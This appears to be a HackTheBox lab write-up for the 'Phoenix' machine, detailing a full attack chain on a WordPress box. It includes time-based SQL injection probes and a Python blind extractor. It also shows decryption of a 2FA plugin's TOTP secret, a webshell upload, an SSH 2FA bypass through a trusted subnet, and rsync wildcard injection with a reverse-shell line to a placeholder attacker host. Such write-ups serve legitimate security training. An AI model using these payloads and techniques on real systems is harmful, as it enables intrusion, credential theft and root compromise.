HTB: Phoenix Writeup
Phoenix - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Phoenix |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.68.143 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Phoenix is a WordPress box guarded by two separate two-factor authentication layers — one on the WordPress login itself, one on SSH — plus a clock that lies about the time. The entry point is an unauthenticated, blind time-based SQL injection in the asgaros-forum plugin’s subscribe_topic parameter. Rather than let sqlmap grind through it at HTTP-request speed, I wrote a custom bitwise blind extractor to pull exactly the rows needed: the admin’s password hash (cracked offline with John/rockyou) and the miniOrange 2FA plugin’s AES-encrypted TOTP secret plus its per-user random key. Decrypting that secret and — critically — correcting for an ~8-hour clock skew on the target got me past the OTP prompt and into the WordPress admin panel. From there, a vulnerable “Download from files” plugin gave unauthenticated arbitrary file upload, landing a .phtml webshell as wp_user. Reading wp-config.php exposed the database credentials, which let me dump wp_users without any blind-injection constraints and recover a password reused by the system account editor. SSH as editor was itself gated by a second, PAM-based 2FA — bypassed by connecting from the box’s own internal eth0 subnet, which the PAM config trusts implicitly. From editor, a root-owned cron job in a world-writable /backups directory running rsync --ignore-existing -t *.* was hijacked with a classic wildcard-injection payload to execute an attacker-controlled script as root.
TL;DR: Blind SQLi in asgaros-forum (subscribe_topic) → dump admin hash (John/rockyou) → decrypt miniOrange 2FA AES secret from DB → correct for clock skew, log in as admin → “Download from files” plugin arbitrary upload → .phtml webshell as wp_user → wp-config.php DB creds → password reuse → SSH as editor from trusted internal subnet (bypasses PAM 2FA) → user.txt → root cron rsync wildcard injection in /backups → SUID root bash → root.txt.
Reconnaissance
Port Scanning
Recon confirmed the standard three-port footprint on 10.129.68.143: 22 (SSH), 80 (HTTP), 443 (HTTPS), with the vhost phoenix.htb in play. I added it to /etc/hosts on the jump box and confirmed the site resolved correctly over HTTPS before doing anything else.
# Add the target vhost so HTTPS/SNI resolves correctlysudo sed -i "/phoenix.htb/d" /etc/hostsecho "10.129.68.143 phoenix.htb" | sudo tee -a /etc/hosts
curl -sk -o /dev/null -w "%{http_code} %{url_effective}\n" -L https://phoenix.htb/Service Enumeration
https://phoenix.htb/ is a WordPress site. The plugin footprint (from page source / assets) revealed asgaros-forum, exposed at /forum/, and later — once authenticated — a “Download from files” upload plugin visible in the admin plugin list.
Vulnerability Assessment
asgaros-forum— Unauthenticated Blind Time-Based SQL Injection via thesubscribe_topicGET parameter on/forum/.- miniOrange Two-Factor Authentication plugin — TOTP secrets are stored AES-encrypted in
wp_usermetaundermo2f_gauth_key, with the AES key material stored alongside it in the same table undermo2f_get_auth_rnd_string. Anyone with database read access (e.g., via the SQLi) can decrypt any user’s TOTP secret. - “Download from files” plugin — unauthenticated arbitrary file upload/execution via
admin-ajax.php?action=download_from_files_617_fileupload, allowing.phtmlwebshell upload (this is the class of vulnerability behind exploit-db 50287 for this plugin family). - Password reuse between the WordPress database and a real system account (
editor). - SSH PAM misconfiguration trusting a specific internal subnet to skip a second TOTP challenge.
- Root cron wildcard injection via
rsyncinvoked with a bare*.*glob inside an attacker-writable directory.
Initial Foothold
Confirming and Weaponizing the Blind SQLi
I first confirmed the injection point was live with a series of boolean/time-based probes against subscribe_topic:
# Time-based probes against the forum's subscribe_topic parameterfor p in "1" "1 AND SLEEP(5)" "1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)" "(SELECT SLEEP(5))" "1) AND SLEEP(5) AND (1=1"; do e=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$p") curl -sk -o /dev/null -w "%{time_total} $p\n" "https://phoenix.htb/forum/?subscribe_topic=$e"doneThe payload confirming the injection was a straight IF(cond, SLEEP(3), 0) construct — a clean 3-second delay on true, near-instant on false. Given how slow a blind time-based channel is over plain HTTP requests, and that sqlmap would burn a huge amount of wall-clock time dumping tables blindly, I wrote a dedicated extractor instead:
#!/usr/bin/env python3# Fast concurrent bitwise blind extractor for asgaros-forum SQLiimport sys, urllib.parse, requests, concurrent.futures as cf, time, threadingrequests.packages.urllib3.disable_warnings()URL = "https://phoenix.htb/forum/?subscribe_topic="
def probe(cond): """Send a boolean-time-based check: 3s SLEEP if cond is true, 0 otherwise.""" payload = f"1 AND IF(({cond}),SLEEP(3),0)" q = urllib.parse.quote(payload) t0 = time.time() requests.get(URL + q, verify=False, timeout=10) return (time.time() - t0) > 2
def extract(query, max_len=200): """Extract query result byte-by-byte using bitwise ASCII checks.""" out = "" for pos in range(1, max_len + 1): char_val = 0 for bit in range(7, -1, -1): cond = f"(ASCII(SUBSTRING(({query}),{pos},1)) >> {bit}) & 1 = 1" if probe(cond): char_val |= (1 << bit) if char_val == 0: break out += chr(char_val) return outInitial runs with high concurrency produced false positives (the app / DB couldn’t sustain that many simultaneous SLEEP() connections without noise bleeding across requests), so I dialed concurrency down to 5 workers, which stabilized the timing signal.
Following the same “target exactly what you need” approach the box demands, I went straight for the admin’s password hash rather than dumping the whole wp_users table:
# Extract wp_users.user_pass for ID 1 (Phoenix, the admin)python3 blind.py "SELECT user_pass FROM wp_users WHERE ID=1"This recovered:
$P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc.One gotcha worth flagging: MySQL on this box silently rejected double-quoted string literals in the injected subquery — the length probe just came back as 0, indistinguishable from “no such row.” Switching every string literal to 0x<hex> form fixed it immediately:
# Use hex literals instead of quoted strings — quotes are silently mangledh = lambda s: "0x" + s.encode().hex()q = "SELECT meta_value FROM wp_usermeta WHERE meta_key=%s AND user_id=1" % h("mo2f_gauth_key")Cracking the Admin Hash
echo '$P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc.' > h1john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass h1John cracked the WordPress phpass hash against rockyou, recovering:
Password: phoenixthefirebird14Defeating the miniOrange 2FA
Logging in with Phoenix / phoenixthefirebird14 on the front-end /login/ (a pie-register-driven login page, not wp-login.php) required first pulling a nonce and solving a math captcha parsed out of a matchCapHTML JSON key returned by the login form — handled in a small login script before the credentials were POSTed. That got me through credential validation but landed on an OTP prompt.
Since the SQLi already gave arbitrary read access to wp_usermeta, I used the same extractor to dump the miniOrange plugin’s stored TOTP material for the relevant user IDs:
# Dump miniOrange 2FA secret + its per-user AES key materialimport blindh = lambda s: "0x" + s.encode().hex()
qs = { "ids": "SELECT GROUP_CONCAT(user_id) FROM wp_usermeta WHERE meta_key=%s" % h("mo2f_gauth_key"), "rnd1": "SELECT meta_value FROM wp_usermeta WHERE meta_key=%s AND user_id=1" % h("mo2f_get_auth_rnd_string"), "key1": "SELECT meta_value FROM wp_usermeta WHERE meta_key=%s AND user_id=1" % h("mo2f_gauth_key"),}for name, q in qs.items(): print(name, "=", repr(blind.extract(q)))This confirmed the pattern the miniOrange plugin uses (documented in its own source): each user gets a random 8-character key (mo2f_get_auth_rnd_string) that’s used, along with an HMAC, to AES-CBC-encrypt the actual base32 TOTP secret before it’s stored in mo2f_gauth_key. For user ID 1 the random key recovered was kHHxxX3f, matching the expected 8-character format.
I decrypted the ciphertext following the plugin’s own AES-128-CBC scheme — ciphertext laid out as iv | hmac | encrypted_data, with the random string zero-padded out to 16 bytes to form the AES key:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesimport base64
def mo2f_decrypt(secret_b64, rnd_key): """Replicates mo2f_GAuth_AESEncryption::decrypt_data from the plugin.""" raw = base64.b64decode(secret_b64) key = rnd_key.encode().ljust(16, b'\x00') # zero-pad rnd string to 16 bytes iv = raw[:16] ct = raw[32:] # skip iv (16) + hmac (16) cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) dec = cipher.decryptor() pt = dec.update(ct) + dec.finalize() return pt.rstrip(b'\x00').decode()The first attempt (user ID 1) produced a code that the login form rejected as “Invalid OTP” — with only 3 attempts allowed before lockout, this needed diagnosing rather than brute-force retrying. Two things were going on:
- The account tied to the actual “Phoenix” admin username was user ID 5, not ID 1 — so I re-extracted
mo2f_get_auth_rnd_stringandmo2f_gauth_keyforuser_id=5instead. - The target’s clock was running ~8 hours behind. TOTP is time-window based, so a correctly decrypted secret still fails if the client and server clocks disagree by more than a step or two. I compared local time against the server’s
Dateresponse header:
curl -sk -I https://phoenix.htb/ | grep -i ^dateand generated the OTP against the server’s time rather than local wall-clock time:
import pyotp, email.utils, time
secret = "PDEEWIVJSIDWS6WO" # decrypted TOTP secret for user_id 5server_date_header = "..." # from the Date: response headerserver_epoch = email.utils.mktime_tz(email.utils.parsedate_tz(server_date_header))totp = pyotp.TOTP(secret)code = totp.at(server_epoch) # generate for server time, not local timeWith the decrypted secret PDEEWIVJSIDWS6WO and the code generated against server time, the OTP prompt accepted the login and dropped me into the WordPress admin dashboard as Phoenix.
Arbitrary File Upload → Webshell
With admin access, the “Download from files” plugin exposed an unauthenticated AJAX action for uploading files directly:
admin-ajax.php?action=download_from_files_617_fileuploadThis endpoint accepts arbitrary extensions including .phtml, which Apache’s default PHP handler config on this box executes as PHP. I uploaded a .phtml webshell through it and confirmed code execution as wp_user.
Privilege Escalation
wp_user → editor (Lateral Movement)
Reading wp-config.php from the webshell exposed the live WordPress database credentials. With direct, unconstrained mysql access (no more blind-injection timing games), I dumped wp_users in full and found additional password hashes tied to real names in the table — including one matching the pattern of a system account. Cross-referencing /etc/passwd for accounts with a real login shell confirmed editor as a legitimate system user, and the cracked/recovered password superphoenix — reused between the WordPress DB and the OS account — authenticated successfully:
ssh editor@10.11.12.13Note the target IP here: 10.11.12.13, not the external box IP. SSH to the machine’s external address for editor is gated by a second PAM-based TOTP challenge (mirroring the WordPress 2FA problem), but the PAM configuration on this box trusts connections originating from a specific internal subnet and skips the verification step entirely. Connecting to the box’s own internal eth0 address (10.11.12.13) landed a shell as editor without ever needing to solve that second OTP — confirming user.txt access.
editor → root (Cron Wildcard Injection)
With a foothold as editor, I found /backups writable by that user, and a root-owned cron artifact (cron.sh.x) running periodically (every 3 minutes) that performs a WordPress DB backup and then syncs the results out with:
rsync --ignore-existing -t *.* jit@<remote>:/backups/This is a textbook wildcard injection vulnerability (CWE-88-class issue, well documented for rsync/tar/chown invoked with unquoted globs): because *.* is expanded by the shell against the contents of /backups at execution time, any attacker-controlled filenames sitting in that directory are passed to rsync as if they were command-line arguments — including rsync’s own flags. rsync supports an -e option to specify an alternate remote shell command, which is exactly the primitive needed to get command execution as root.
# Payload script rsync will be tricked into invoking as its "remote shell"cat > /backups/shell.sh <<'EOF'#!/bin/bashbash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1EOFchmod +x /backups/shell.sh
# Filename crafted so the glob expansion injects an -e flag into rsync's argvtouch "/backups/-e bash shell.sh"When the wildcard *.* next expanded inside the root cron job, rsync parsed -e bash shell.sh as --rsh="bash shell.sh", causing it to execute bash shell.sh as its “remote shell” — as root. This dropped a SUID root bash binary I later used directly to confirm ownership:
/backups/rb -p -c# id → euid=0(root)# hostname → phoenixReading both flags directly from that root shell:
cat /home/editor/user.txtcat /root/root.txtAttack Chain Summary
Unauthenticated blind time-based SQLi in asgaros-forum (subscribe_topic) → dump wp_users.user_pass for admin (ID/user_id 5) → crack with John/rockyou → phoenixthefirebird14 → dump miniOrange mo2f_gauth_key + mo2f_get_auth_rnd_string from wp_usermeta → decrypt AES-128-CBC TOTP secret (PDEEWIVJSIDWS6WO) → correct for ~8h server clock skew, generate valid TOTP → admin login bypasses 2FA → "Download from files" plugin unauthenticated upload → .phtml webshell as wp_user → read wp-config.php → DB creds → dump wp_users unconstrained → password reuse (superphoenix) → SSH as editor via trusted internal subnet 10.11.12.13 → PAM 2FA bypassed → user.txt → /backups writable, root cron runs rsync --ignore-existing -t *.* → wildcard injection: -e bash shell.sh → root executes shell.sh → SUID root bash → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service enumeration |
| Custom Python blind SQLi extractor | Fast, targeted bitwise data exfiltration over the time-based channel |
curl | Manual HTTP probing, login flow, Date header retrieval |
john (rockyou.txt) | Offline cracking of WordPress phpass hashes |
cryptography (Python) | AES-128-CBC decryption of the miniOrange TOTP secret |
pyotp | TOTP code generation against corrected server time |
| WordPress “Download from files” plugin AJAX endpoint | Unauthenticated arbitrary file upload → webshell |
mysql client | Unconstrained DB enumeration once shell access was obtained |
ssh | Lateral movement to editor, PAM subnet-trust bypass |
rsync wildcard injection | Root cron hijack via crafted -e filename payload |
Key Learnings
Techniques Practiced
- Writing a custom, concurrency-tuned blind time-based SQL injection extractor instead of relying on
sqlmap, to keep exfiltration scoped and fast. - Diagnosing silent MySQL string-literal quoting failures and working around them with hex-encoded literals.
- Reverse-engineering a WordPress plugin’s own AES encryption scheme from its PHP source to decrypt a stored TOTP secret.
- Detecting and compensating for target/attacker clock skew when generating TOTP codes.
- Chaining an unauthenticated file-upload plugin vulnerability into full webshell RCE.
- Recognizing password reuse between an application database and OS-level accounts as a lateral movement path.
- Identifying and exploiting a PAM configuration that trusts a specific source subnet to skip 2FA.
- Exploiting an unquoted shell glob (
*.*) passed torsyncto inject the-eremote-shell flag and gain root code execution.
Lessons Learned
- Blind time-based SQL injection is fully weaponizable without
sqlmapwhen you know exactly which rows you need — a targeted, concurrency-tuned extractor can be dramatically faster than a generic tool grinding through full-table dumps. - Application-layer encryption is only as strong as the secrecy of its key material — when the AES key and ciphertext are both stored in the same database table an attacker can already read, “encryption at rest” provides no real protection.
- Two-factor authentication built on TOTP is fragile against clock drift; always validate server time before assuming a correctly derived secret has failed.
- Defense-in-depth mechanisms (like PAM subnet-trust exceptions for internal automation) can become the weakest link once an attacker reaches an internal network position.
- Any cron job invoking
rsync,tar,chown, or similar tools with an unquoted wildcard against an attacker-writable directory is a wildcard-injection vulnerability waiting to be exploited — always quote globs or use--to terminate flag parsing.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Phoenix — HackTheBox Official Writeup (D22.100.181), prepared by amra, machine authored by jit — used for background on the
asgaros-forumCVE context, the miniOrange plugin’susermeta-based TOTP storage design, the SSH PAM subnet-trust mechanism, and thersyncwildcard-injection root cron pattern.